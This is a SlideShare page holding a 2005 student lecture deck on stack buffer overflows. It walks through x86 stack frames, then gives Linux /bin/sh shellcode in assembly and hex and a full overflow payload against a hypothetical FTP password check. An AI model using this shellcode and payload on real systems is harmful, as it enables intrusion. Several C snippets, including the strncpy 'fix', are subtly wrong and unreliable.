SlideShare uma empresa Scribd logo
1 de 33
Baixar para ler offline
Stack Overflow
(Electronic Crime & Security)
Susam Pal
8th Semester (2005)
Electronics and Telecommunication Engineering
Kalinga Institute of Industrial Technology University
Agenda
Introduction to Stack Overflow
 Operation of Stack
 Attacking the Stack and Protection
Introduction to Stack Overflow
 About Stack Overflow
 Vulnerable Software
 Vulnerable Operating Systems
 Major Attacks
About Stack Overflow
What is a stack overflow?
An error condition which results from attempting to push more items onto a
stack than space has been allocated for.
Is it dangerous?
Yes, it is one of the most dangerous threats that exists in the
microprocessor world from computer systems to embedded systems. Any
processor that uses a stack may be vulnerable to an attack due to stack
overflow.
Why is it dangerous?
Attempting to push more items on a stack than space allocated overwrites
adjacent memory locations which might contain return addresses thus
executing other code.
Vulnerable Software
WS FTP Server V5.03
Winamp 5.06
Real One Player
DMS POP3 Server
SLMain 5.5 POP3 Server
Microsoft Lsass.exe
Microsoft IIS Server API
Microsoft Outlook
Vulnerable Operating Systems
Microsoft Windows
FreeBSD
Linux
Sun OS 5.6
HP-UX
SGI IRIX
IBM AIX
Novell Netware
Major Attacks
Code Red Virus
Attacked a buffer overflow weakness in the Microsoft IIS Server API
on July 19, 2001.
Damage: $2.6 billion
Sasser Worm
Attacked the Microsoft LSAS buffer overflow vulnerability on April 30,
2004.
Damage: $3.5 billion
Operation of Stack
 Onion Skin Model of Computer System
 Process Memory Regions
 Uses of Stack
 Stack in Action
Onion Skin Model of Computer System
Shell
Kernel
Hardware
User enters command
Shell interprets command
Shell invokes necessary
kernel routines
Kernel routines drive the
hardware resources
User
Process Memory Regions
Stack
Executable
Code
Data
Higher Memory Address
Lower Memory Address
Process Memory Regions
Stack
Executable
Code
Data
Subroutines use the stack to save necessary
Data, e.g. register values which are altered
by the subroutine.
Data area contains initialized and uninitialized
data. Static variables are loaded into this
region.
Code area contains the instructions of the
executable file. This area is normally marked
read-only and any attempt to write to it results
in a segmentation violation.
Uses of Stack
The microprocessor uses this area to save the return
address during a subroutine call.
Subroutines use this area to save necessary data, e.g.
register values which are altered by the subroutine.
Calling routines usually push into the stack the
arguments they want to pass to the subroutine.
Dynamic variables are created on the stack by
decrementing the stack pointer by the size of the
variable.
Stack in Action
void function(int a, int b)
{
char buffer1[4];
char buffer2[4];
}
main()
{
function(1,2);
}
EBP (shell)
indicates what ESP is pointing to
indicates what EBP is pointing to
Stack in Action
void function(int a, int b)
{
char buffer1[4];
char buffer2[4];
}
main()
{
function(1,2);
}
EBP (shell)
00000002
00000001
EIP
EBP (main)
indicates what ESP is pointing to
indicates what EBP is pointing to
Frame 1
(main)
Stack in Action
void function(int a, int b)
{
char buffer1[4];
char buffer2[4];
}
main()
{
function(1,2);
}
EBP (shell)
00000002
00000001
EIP
EBP (main)
buffer1[4]
buffer2[4]
indicates what ESP is pointing to
indicates what EBP is pointing to
Frame 1
(main)
Frame 2
(function)
Stack in Action
EBP (shell)
00000002
00000001
EIP
EBP (main)
buffer1[4]
buffer2[4]
indicates what ESP is pointing to
indicates what EBP is pointing to
Frame 1
(main)
Frame 2
(function)
PUSH EBP
MOV EBP, ESP
PUSHD 00000002H
PUSHD 00000001H
CALL FUNCTION
MOV ESP, EBP
POP EBP
RET
PUSH EBP
MOV EBP, ESP
SUB ESP, 00000008H
MOV ESP, EBP
POP EBP
RET
Stack in Action
*str – 4th Byte
*str – 3rd Byte
*str – 2nd Byte
*str – 1st Byte
EIP – 4th Byte
EIP – 3rd Byte
EIP – 2nd Byte
EIP – 1st Byte
EBP – 4th Byte
EBP – 3rd Byte
EBP – 2nd Byte
EBP – 1st Byte
Return Address
#include <string.h>
void function(char *str)
{
char buffer[4];
strcpy(buffer, str);
}
main()
{
char string[]=“Hi!”;
function(string);
}
Stack in Action
*str – 4th Byte
*str – 3rd Byte
*str – 2nd Byte
*str – 1st Byte
EIP – 4th Byte
EIP – 3rd Byte
EIP – 2nd Byte
EIP – 1st Byte
EBP – 4th Byte
EBP – 3rd Byte
EBP – 2nd Byte
EBP – 1st Byte
buffer[3]
buffer[2]
buffer[1]
buffer[0]
Return Address
#include <string.h>
void function(char *str)
{
char buffer[4];
strcpy(buffer, str);
}
main()
{
char string[]=“Hi!”;
function(string);
}
Stack in Action
*str – 4th Byte
*str – 3rd Byte
*str – 2nd Byte
*str – 1st Byte
EIP – 4th Byte
EIP – 3rd Byte
EIP – 2nd Byte
EIP – 1st Byte
EBP – 4th Byte
EBP – 3rd Byte
EBP – 2nd Byte
EBP – 1st Byte
‘0’
‘!’
‘i’
‘H’
Return Address
#include <string.h>
void function(char *str)
{
char buffer[4];
strcpy(buffer, str);
}
main()
{
char string[]=“Hi!”;
function(string);
}
Attacking the Stack and Protection
 Stack Under Attack
 FTP Server Under Attack
 Plugging the Loophole
 Fighting Stack Overflow
Stack Under Attack
*str – 4th Byte
*str – 3rd Byte
*str – 2nd Byte
*str – 1st Byte
EIP – 4th Byte
EIP – 3rd Byte
EIP – 2nd Byte
EIP – 1st Byte
EBP – 4th Byte
EBP – 3rd Byte
EBP – 2nd Byte
EBP – 1st Byte
‘0’
‘!’
‘i’
‘H’
Return Address
#include <string.h>
void function(char *str)
{
char buffer[4];
strcpy(buffer, str);
}
main()
{
char string[]=“Hi!”;
function(string);
}
Stack Under Attack
*str – 4th Byte
*str – 3rd Byte
*str – 2nd Byte
*str – 1st Byte
EIP – 4th Byte
EIP – 3rd Byte
EIP – 2nd Byte
EIP – 1st Byte
EBP – 4th Byte
EBP – 3rd Byte
EBP – 2nd Byte
EBP – 1st Byte
buffer[3]
buffer[2]
buffer[1]
buffer[0]
Return Address
#include <string.h>
void function(char *str)
{
char buffer[4];
strcpy(buffer, str);
}
main()
{
char string[]=“Good Morning!”;
function(string);
}
Stack Under Attack
*str – 4th byte
*str – 3rd byte
0
!
g
n
i
n
r
o
M
d
o
o
G
Return Address
#include <string.h>
void function(char *str)
{
char buffer[4];
strcpy(buffer, str);
}
main()
{
char string[]=“Good Morning!”;
function(string);
}
Stack Under Attack
*str - 4th byte
*str - 3rd byte
0 00H
! 21H
g 67H
n 6EH
i 69H
n 6EH
r 72H
o 6FH
M 4DH
20H
d 64H
o 6FH
o 6FH
G 47H
Return Address
Returns to offset
676E696EH
#include <string.h>
void function(char *str)
{
char buffer[4];
strcpy(buffer, str);
}
main()
{
char string[]="Good Morning!”;
function(string);
}
verify(*password)
{
char buffer[8];
int f1, f2;
strcpy(buffer[8],password);
00FF1FFFH: *password
00FF1FFEH: *password
00FF1FFDH: *password
00FF1FFCH: *password
00FF1FFBH: EIP
00FF1FFAH: EIP
00FF1FF9H: EIP
00FF1FF8H: EIP
00FF1FF7H: EBP
00FF1FF6H: EBP
00FF1FF5H: EBP
00FF1FF4H: EBP
00FF1FF3H: buffer[7]
00FF1FF2H: buffer[6]
00FF1FF1H: buffer[5]
00FF1FF0H: buffer[4]
00FF1FEFH: buffer[3]
00FF1FEEH: buffer[2]
00FF1FEDH: buffer[1]
00FF1FECH: buffer[0]
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
FTP Server Under Attack
Return address
verify(*password)
{
char buffer[8];
int f1, f2;
strcpy(buffer[8],password);
00FF1FFFH: *password
00FF1FFEH: *password
00FF1FFDH: *password
00FF1FFCH: *password
00FF1FFBH: EIP
00FF1FFAH: EIP
00FF1FF9H: EIP
00FF1FF8H: EIP
00FF1FF7H: EBP
00FF1FF6H: EBP
00FF1FF5H: EBP
00FF1FF4H: EBP
00FF1FF3H: ‘0’
00FF1FF2H: ‘r’
00FF1FF1H: ‘o’
00FF1FF0H: ‘t’
00FF1FEFH: ‘i’
00FF1FEEH: ‘s’
00FF1FEDH: ‘i’
00FF1FECH: ‘v’
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
FTP Server Under Attack
Return address
Shell Code
Assembly Codes Hex Codes
JMP 1FH EB, 1F
POP ESI 5E
MOV 08H[ESI], ESI 89, 76, 08
XOR EAX, EAX 31, C0
MOV 07H[ESI], EAX 88, 46, 07
MOV 0CH[ESI], EAX 89, 46, 0C
MOV AL, 0BH B0, 0B
MOV EBX, ESI 89, F3
LEA ECX, 08H[ESI] 8D, 4E, 08
LEA EDX, 0CH[ESI] 8D, 56, 0C
INT 80H CD, 80
XOR EBX, EBX 31, DB
MOV EAX, EBX 89, D8
INC EAX 40
INT 80H CD, 80
CALL -24H E8, DC, FF, FF, FF
.STRING “/bin/sh” 2F, 62, 69, 6E, 2F, 73, 68, 00
verify(*password)
{
char buffer[8];
int f1, f2;
strcpy(buffer[8],password);
00FF2001H: 76H
00FF1FFFH: 89H
00FF1FFEH: 5EH
00FF1FFDH: 1FH
00FF1FFCH: EBH
00FF1FFBH: 00H
00FF1FFAH: FFH
00FF1FF9H: 1FH
00FF1FF8H: FCH
00FF1FF7H: ‘A’
00FF1FF6H: ‘A’
00FF1FF5H: ‘A’
00FF1FF4H: ‘A’
00FF1FF3H: ‘A’
00FF1FF2H: ‘A’
00FF1FF1H: ‘A’
00FF1FF0H: ‘A’
00FF1FEFH: ‘A’
00FF1FEEH: ‘A’
00FF1FEDH: ‘A’
00FF1FECH: ‘A’
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
FTP Server Under Attack
Shell Code ( In Hex )
EB, 1F, 5E, 89, 76, 08, 31, C0,
88, 46, 07, 89, 46, 0C, B0, 0B,
89, F3, 8D, 4E, 08, 8D, 56, 0C,
CD, 80, 31, DB, 89, D8, 40, CD,
80, E8, DC, FF, FF, FF, 2F, 62,
69, 6E, 2F, 73, 68, 00
Return Address
( 00FF1FFCH )
00FF2009H: 46H
00FF2008H: 89H
00FF2007H: 07H
00FF2006H: 46H
00FF2005H: 88H
00FF2004H: C0H
00FF2003H: 31H
00FF2002H: 08H
00FF2001H: 76H
00FF1FFFH: 89H
00FF1FFEH: 5EH
00FF1FFDH: 1FH
00FF1FFCH: EBH
00FF1FFBH: 00H
00FF1FFAH: FFH
00FF1FF9H: 1FH
00FF1FF8H: FCH
00FF1FF7H: ‘A’
00FF1FF6H: ‘A’
00FF1FF5H: ‘A’
00FF1FF4H: ‘A’
00FF1FF3H: ‘A’
00FF1FF2H: ‘A’
00FF1FF1H: ‘A’
00FF1FF0H: ‘A’
FTP Server Under Attack
Password to be entered (Codes in Hex)
41, 41, 41, 41, 41, 41, 41, 41,
41, 41, 41, 41, FC, 1F, FF, 00,
EB, 1F, 5E, 89, 76, 08, 31, C0,
88, 46, 07, 89, 46, 0C, B0, 0B,
89, F3, 8D, 4E, 08, 8D, 56, 0C,
CD, 80, 31, DB, 89, D8, 40, CD,
80, E8, DC, FF, FF, FF, 2F, 62,
69, 6E, 2F, 73, 68, 00
ShellCode
00FF2009H: 46H
00FF2008H: 89H
00FF2007H: 07H
00FF2006H: 46H
00FF2005H: 88H
00FF2004H: C0H
00FF2003H: 31H
00FF2002H: 08H
00FF2001H: 76H
00FF1FFFH: 89H
00FF1FFEH: 5EH
00FF1FFDH: 1FH
00FF1FFCH: EBH
00FF1FFBH: 00H
00FF1FFAH: FFH
00FF1FF9H: 1FH
00FF1FF8H: FCH
00FF1FF7H: ‘A’
00FF1FF6H: ‘A’
00FF1FF5H: ‘A’
00FF1FF4H: ‘A’
00FF1FF3H: ‘A’
00FF1FF2H: ‘A’
00FF1FF1H: ‘A’
00FF1FF0H: ‘A’
FTP Server Under Attack
ShellCode
Shell Prompt
Password to be entered (Codes in Hex)
41, 41, 41, 41, 41, 41, 41, 41,
41, 41, 41, 41, FC, 1F, FF, 00,
EB, 1F, 5E, 89, 76, 08, 31, C0,
88, 46, 07, 89, 46, 0C, B0, 0B,
89, F3, 8D, 4E, 08, 8D, 56, 0C,
CD, 80, 31, DB, 89, D8, 40, CD,
80, E8, DC, FF, FF, FF, 2F, 62,
69, 6E, 2F, 73, 68, 00
00FF1FFFH: *password
00FF1FFEH: *password
00FF1FFDH: *password
00FF1FFCH: *password
00FF1FFBH: EIP
00FF1FFAH: EIP
00FF1FF9H: EIP
00FF1FF8H: EIP
00FF1FF7H: EBP
00FF1FF6H: EBP
00FF1FF5H: EBP
00FF1FF4H: EBP
00FF1FF3H: ‘A’
00FF1FF2H: ‘A’
00FF1FF1H: ‘A’
00FF1FF0H: ‘A’
00FF1FEFH: ‘A’
00FF1FEEH: ‘A’
00FF1FEDH: ‘A’
00FF1FECH: ‘A’
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
Plugging the Loophole
verify(*password)
{
char buffer[8];
int f1, f2;
strncpy(buffer[8],password,8);
Fighting Stack Overflow
C Programmers now refrain from using strcpy(), strcat() in
their programs. They use strncpy(), strncat() instead which
perform bound checking.
Programmers now write their applications in
languages like Java, Visual Basic which have better
stack and memory management features.
Sun Microsystems is trying to make their SPARC processor
immune to stack overflow attack by introducing new features
to protect the return address during a subroutine call.
Thank You!

Mais conteúdo relacionado

Mais procurados

Object-Oriented Polymorphism Unleashed
Object-Oriented Polymorphism UnleashedObject-Oriented Polymorphism Unleashed
Object-Oriented Polymorphism UnleashedNaresh Chintalcheru
 
Python Fundamentals
Python FundamentalsPython Fundamentals
Python FundamentalsSherif Rasmy
 
Jwt == insecurity?
Jwt == insecurity?Jwt == insecurity?
Jwt == insecurity?snyff
 
Python Projects For Beginners | Python Projects Examples | Python Tutorial | ...
Python Projects For Beginners | Python Projects Examples | Python Tutorial | ...Python Projects For Beginners | Python Projects Examples | Python Tutorial | ...
Python Projects For Beginners | Python Projects Examples | Python Tutorial | ...Edureka!
 
Oop lec 2(introduction to object oriented technology)
Oop lec 2(introduction to object oriented technology)Oop lec 2(introduction to object oriented technology)
Oop lec 2(introduction to object oriented technology)Asfand Hassan
 
Object Oriented programming - Introduction
Object Oriented programming - IntroductionObject Oriented programming - Introduction
Object Oriented programming - IntroductionMadishetty Prathibha
 
Python lambda functions with filter, map & reduce function
Python lambda functions with filter, map & reduce functionPython lambda functions with filter, map & reduce function
Python lambda functions with filter, map & reduce functionARVIND PANDE
 
Deploy With Confidence
Deploy With ConfidenceDeploy With Confidence
Deploy With ConfidenceAlex Soto
 
Java IO Package and Streams
Java IO Package and StreamsJava IO Package and Streams
Java IO Package and Streamsbabak danyal
 
Malicious Payloads vs Deep Visibility: A PowerShell Story
Malicious Payloads vs Deep Visibility: A PowerShell StoryMalicious Payloads vs Deep Visibility: A PowerShell Story
Malicious Payloads vs Deep Visibility: A PowerShell StoryDaniel Bohannon
 

Mais procurados (20)

Burp Suite Starter
Burp Suite StarterBurp Suite Starter
Burp Suite Starter
 
Object-Oriented Polymorphism Unleashed
Object-Oriented Polymorphism UnleashedObject-Oriented Polymorphism Unleashed
Object-Oriented Polymorphism Unleashed
 
Thread.ppt
Thread.pptThread.ppt
Thread.ppt
 
Python Fundamentals
Python FundamentalsPython Fundamentals
Python Fundamentals
 
String c
String cString c
String c
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
Inheritance In Java
Inheritance In JavaInheritance In Java
Inheritance In Java
 
Jwt == insecurity?
Jwt == insecurity?Jwt == insecurity?
Jwt == insecurity?
 
Hack like a pro with burp suite - nullhyd
Hack like a pro with burp suite - nullhydHack like a pro with burp suite - nullhyd
Hack like a pro with burp suite - nullhyd
 
Python Projects For Beginners | Python Projects Examples | Python Tutorial | ...
Python Projects For Beginners | Python Projects Examples | Python Tutorial | ...Python Projects For Beginners | Python Projects Examples | Python Tutorial | ...
Python Projects For Beginners | Python Projects Examples | Python Tutorial | ...
 
IPv4 vs IPv6
IPv4 vs IPv6IPv4 vs IPv6
IPv4 vs IPv6
 
Oop lec 2(introduction to object oriented technology)
Oop lec 2(introduction to object oriented technology)Oop lec 2(introduction to object oriented technology)
Oop lec 2(introduction to object oriented technology)
 
Object Oriented programming - Introduction
Object Oriented programming - IntroductionObject Oriented programming - Introduction
Object Oriented programming - Introduction
 
Python lambda functions with filter, map & reduce function
Python lambda functions with filter, map & reduce functionPython lambda functions with filter, map & reduce function
Python lambda functions with filter, map & reduce function
 
Java Programming: Loops
Java Programming: LoopsJava Programming: Loops
Java Programming: Loops
 
Deploy With Confidence
Deploy With ConfidenceDeploy With Confidence
Deploy With Confidence
 
Java IO Package and Streams
Java IO Package and StreamsJava IO Package and Streams
Java IO Package and Streams
 
Wrapper classes
Wrapper classesWrapper classes
Wrapper classes
 
Malicious Payloads vs Deep Visibility: A PowerShell Story
Malicious Payloads vs Deep Visibility: A PowerShell StoryMalicious Payloads vs Deep Visibility: A PowerShell Story
Malicious Payloads vs Deep Visibility: A PowerShell Story
 
Python programming : Files
Python programming : FilesPython programming : Files
Python programming : Files
 

Destaque

Detecting Threats: A Look at the Verizon DBIR and StealthWatch
Detecting Threats: A Look at the Verizon DBIR and StealthWatchDetecting Threats: A Look at the Verizon DBIR and StealthWatch
Detecting Threats: A Look at the Verizon DBIR and StealthWatchLancope, Inc.
 
SCADA Security: The Five Stages of Cyber Grief
SCADA Security: The Five Stages of Cyber GriefSCADA Security: The Five Stages of Cyber Grief
SCADA Security: The Five Stages of Cyber GriefLancope, Inc.
 
The Seven Deadly Sins of Incident Response
The Seven Deadly Sins of Incident ResponseThe Seven Deadly Sins of Incident Response
The Seven Deadly Sins of Incident ResponseLancope, Inc.
 
So You Want a Threat Intelligence Function (But Were Afraid to Ask)
So You Want a Threat Intelligence Function (But Were Afraid to Ask)So You Want a Threat Intelligence Function (But Were Afraid to Ask)
So You Want a Threat Intelligence Function (But Were Afraid to Ask)Lancope, Inc.
 
Extending Network Visibility: Down to the Endpoint
Extending Network Visibility: Down to the EndpointExtending Network Visibility: Down to the Endpoint
Extending Network Visibility: Down to the EndpointLancope, Inc.
 
Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)Susam Pal
 
StealthWatch & Point-of-Sale (POS) Malware
StealthWatch & Point-of-Sale (POS) Malware StealthWatch & Point-of-Sale (POS) Malware
StealthWatch & Point-of-Sale (POS) Malware Lancope, Inc.
 
Cisco Threat Defense (Cisco Stealthwatch)
Cisco Threat Defense (Cisco Stealthwatch)Cisco Threat Defense (Cisco Stealthwatch)
Cisco Threat Defense (Cisco Stealthwatch)Cisco Russia
 
The Internet of Everything is Here
The Internet of Everything is HereThe Internet of Everything is Here
The Internet of Everything is HereLancope, Inc.
 
Combating Insider Threats – Protecting Your Agency from the Inside Out
Combating Insider Threats – Protecting Your Agency from the Inside OutCombating Insider Threats – Protecting Your Agency from the Inside Out
Combating Insider Threats – Protecting Your Agency from the Inside OutLancope, Inc.
 
Cisco CSIRT Case Study: Forensic Investigations with NetFlow
Cisco CSIRT Case Study: Forensic Investigations with NetFlowCisco CSIRT Case Study: Forensic Investigations with NetFlow
Cisco CSIRT Case Study: Forensic Investigations with NetFlowLancope, Inc.
 
Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...
Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...
Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...Lancope, Inc.
 
DDos Attacks and Web Threats: How to Protect Your Site & Information
DDos Attacks and Web Threats: How to Protect Your Site & InformationDDos Attacks and Web Threats: How to Protect Your Site & Information
DDos Attacks and Web Threats: How to Protect Your Site & Informationjenkoon
 
Combating Insider Threats – Protecting Your Agency from the Inside Out
Combating Insider Threats – Protecting Your Agency from the Inside OutCombating Insider Threats – Protecting Your Agency from the Inside Out
Combating Insider Threats – Protecting Your Agency from the Inside OutLancope, Inc.
 
RSA NetWitness Log Decoder
RSA NetWitness Log DecoderRSA NetWitness Log Decoder
RSA NetWitness Log DecoderSusam Pal
 
5 Signs you have an Insider Threat
5 Signs you have an Insider Threat5 Signs you have an Insider Threat
5 Signs you have an Insider ThreatLancope, Inc.
 
RSA: Security Analytics Architecture for APT
RSA: Security Analytics Architecture for APTRSA: Security Analytics Architecture for APT
RSA: Security Analytics Architecture for APTLee Wei Yeong
 
Network Security and Visibility through NetFlow
Network Security and Visibility through NetFlowNetwork Security and Visibility through NetFlow
Network Security and Visibility through NetFlowLancope, Inc.
 

Destaque (19)

Detecting Threats: A Look at the Verizon DBIR and StealthWatch
Detecting Threats: A Look at the Verizon DBIR and StealthWatchDetecting Threats: A Look at the Verizon DBIR and StealthWatch
Detecting Threats: A Look at the Verizon DBIR and StealthWatch
 
SCADA Security: The Five Stages of Cyber Grief
SCADA Security: The Five Stages of Cyber GriefSCADA Security: The Five Stages of Cyber Grief
SCADA Security: The Five Stages of Cyber Grief
 
The Seven Deadly Sins of Incident Response
The Seven Deadly Sins of Incident ResponseThe Seven Deadly Sins of Incident Response
The Seven Deadly Sins of Incident Response
 
So You Want a Threat Intelligence Function (But Were Afraid to Ask)
So You Want a Threat Intelligence Function (But Were Afraid to Ask)So You Want a Threat Intelligence Function (But Were Afraid to Ask)
So You Want a Threat Intelligence Function (But Were Afraid to Ask)
 
Extending Network Visibility: Down to the Endpoint
Extending Network Visibility: Down to the EndpointExtending Network Visibility: Down to the Endpoint
Extending Network Visibility: Down to the Endpoint
 
Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)
 
StealthWatch & Point-of-Sale (POS) Malware
StealthWatch & Point-of-Sale (POS) Malware StealthWatch & Point-of-Sale (POS) Malware
StealthWatch & Point-of-Sale (POS) Malware
 
Cisco Threat Defense (Cisco Stealthwatch)
Cisco Threat Defense (Cisco Stealthwatch)Cisco Threat Defense (Cisco Stealthwatch)
Cisco Threat Defense (Cisco Stealthwatch)
 
The Internet of Everything is Here
The Internet of Everything is HereThe Internet of Everything is Here
The Internet of Everything is Here
 
Combating Insider Threats – Protecting Your Agency from the Inside Out
Combating Insider Threats – Protecting Your Agency from the Inside OutCombating Insider Threats – Protecting Your Agency from the Inside Out
Combating Insider Threats – Protecting Your Agency from the Inside Out
 
Cisco CSIRT Case Study: Forensic Investigations with NetFlow
Cisco CSIRT Case Study: Forensic Investigations with NetFlowCisco CSIRT Case Study: Forensic Investigations with NetFlow
Cisco CSIRT Case Study: Forensic Investigations with NetFlow
 
Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...
Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...
Intelligent Segmentation: Protecting the Enterprise with StealthWatch, Cisco ...
 
DDos Attacks and Web Threats: How to Protect Your Site & Information
DDos Attacks and Web Threats: How to Protect Your Site & InformationDDos Attacks and Web Threats: How to Protect Your Site & Information
DDos Attacks and Web Threats: How to Protect Your Site & Information
 
Combating Insider Threats – Protecting Your Agency from the Inside Out
Combating Insider Threats – Protecting Your Agency from the Inside OutCombating Insider Threats – Protecting Your Agency from the Inside Out
Combating Insider Threats – Protecting Your Agency from the Inside Out
 
RSA NetWitness Log Decoder
RSA NetWitness Log DecoderRSA NetWitness Log Decoder
RSA NetWitness Log Decoder
 
Fire Eye Appliance Quick Start
Fire Eye Appliance Quick StartFire Eye Appliance Quick Start
Fire Eye Appliance Quick Start
 
5 Signs you have an Insider Threat
5 Signs you have an Insider Threat5 Signs you have an Insider Threat
5 Signs you have an Insider Threat
 
RSA: Security Analytics Architecture for APT
RSA: Security Analytics Architecture for APTRSA: Security Analytics Architecture for APT
RSA: Security Analytics Architecture for APT
 
Network Security and Visibility through NetFlow
Network Security and Visibility through NetFlowNetwork Security and Visibility through NetFlow
Network Security and Visibility through NetFlow
 

Semelhante a StackOverflow

Buffer Overflows
Buffer OverflowsBuffer Overflows
Buffer OverflowsSumit Kumar
 
Reverse Engineering Dojo: Enhancing Assembly Reading Skills
Reverse Engineering Dojo: Enhancing Assembly Reading SkillsReverse Engineering Dojo: Enhancing Assembly Reading Skills
Reverse Engineering Dojo: Enhancing Assembly Reading SkillsAsuka Nakajima
 
C aptitude questions
C aptitude questionsC aptitude questions
C aptitude questionsSrikanth
 
C - aptitude3
C - aptitude3C - aptitude3
C - aptitude3Srikanth
 
C cheat sheet for varsity (extreme edition)
C cheat sheet for varsity (extreme edition)C cheat sheet for varsity (extreme edition)
C cheat sheet for varsity (extreme edition)Saifur Rahman
 
Unit 4
Unit 4Unit 4
Unit 4siddr
 
How to write rust instead of c and get away with it
How to write rust instead of c and get away with itHow to write rust instead of c and get away with it
How to write rust instead of c and get away with itFlavien Raynaud
 
Rust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineRust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineMatt Provost
 
Exploiting Memory Overflows
Exploiting Memory OverflowsExploiting Memory Overflows
Exploiting Memory OverflowsAnkur Tyagi
 
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Miguel Arroyo
 
Exploit exercises.com stack-overflows
Exploit exercises.com stack-overflowsExploit exercises.com stack-overflows
Exploit exercises.com stack-overflowscommiebstrd
 
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...Muhammad Ulhaque
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64FFRI, Inc.
 
Software to the slaughter
Software to the slaughterSoftware to the slaughter
Software to the slaughterQuinn Wilton
 
Bypassing DEP using ROP
Bypassing DEP using ROPBypassing DEP using ROP
Bypassing DEP using ROPJapneet Singh
 
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)CODE BLUE
 
Scale17x buffer overflows
Scale17x buffer overflowsScale17x buffer overflows
Scale17x buffer overflowsjohseg
 

Semelhante a StackOverflow (20)

Software Exploits
Software ExploitsSoftware Exploits
Software Exploits
 
Buffer Overflows
Buffer OverflowsBuffer Overflows
Buffer Overflows
 
Reverse Engineering Dojo: Enhancing Assembly Reading Skills
Reverse Engineering Dojo: Enhancing Assembly Reading SkillsReverse Engineering Dojo: Enhancing Assembly Reading Skills
Reverse Engineering Dojo: Enhancing Assembly Reading Skills
 
C aptitude questions
C aptitude questionsC aptitude questions
C aptitude questions
 
C - aptitude3
C - aptitude3C - aptitude3
C - aptitude3
 
C cheat sheet for varsity (extreme edition)
C cheat sheet for varsity (extreme edition)C cheat sheet for varsity (extreme edition)
C cheat sheet for varsity (extreme edition)
 
Unit 4
Unit 4Unit 4
Unit 4
 
How to write rust instead of c and get away with it
How to write rust instead of c and get away with itHow to write rust instead of c and get away with it
How to write rust instead of c and get away with it
 
Rust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineRust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command Line
 
Exploiting Memory Overflows
Exploiting Memory OverflowsExploiting Memory Overflows
Exploiting Memory Overflows
 
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
 
Exploit exercises.com stack-overflows
Exploit exercises.com stack-overflowsExploit exercises.com stack-overflows
Exploit exercises.com stack-overflows
 
test
testtest
test
 
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
ECSE 221 - Introduction to Computer Engineering - Tutorial 1 - Muhammad Ehtas...
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64
 
Software to the slaughter
Software to the slaughterSoftware to the slaughter
Software to the slaughter
 
Bypassing DEP using ROP
Bypassing DEP using ROPBypassing DEP using ROP
Bypassing DEP using ROP
 
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
 
Scale17x buffer overflows
Scale17x buffer overflowsScale17x buffer overflows
Scale17x buffer overflows
 
CompilersAndLibraries
CompilersAndLibrariesCompilersAndLibraries
CompilersAndLibraries
 

StackOverflow

  • 1. Stack Overflow (Electronic Crime & Security) Susam Pal 8th Semester (2005) Electronics and Telecommunication Engineering Kalinga Institute of Industrial Technology University
  • 2. Agenda Introduction to Stack Overflow  Operation of Stack  Attacking the Stack and Protection
  • 3. Introduction to Stack Overflow  About Stack Overflow  Vulnerable Software  Vulnerable Operating Systems  Major Attacks
  • 4. About Stack Overflow What is a stack overflow? An error condition which results from attempting to push more items onto a stack than space has been allocated for. Is it dangerous? Yes, it is one of the most dangerous threats that exists in the microprocessor world from computer systems to embedded systems. Any processor that uses a stack may be vulnerable to an attack due to stack overflow. Why is it dangerous? Attempting to push more items on a stack than space allocated overwrites adjacent memory locations which might contain return addresses thus executing other code.
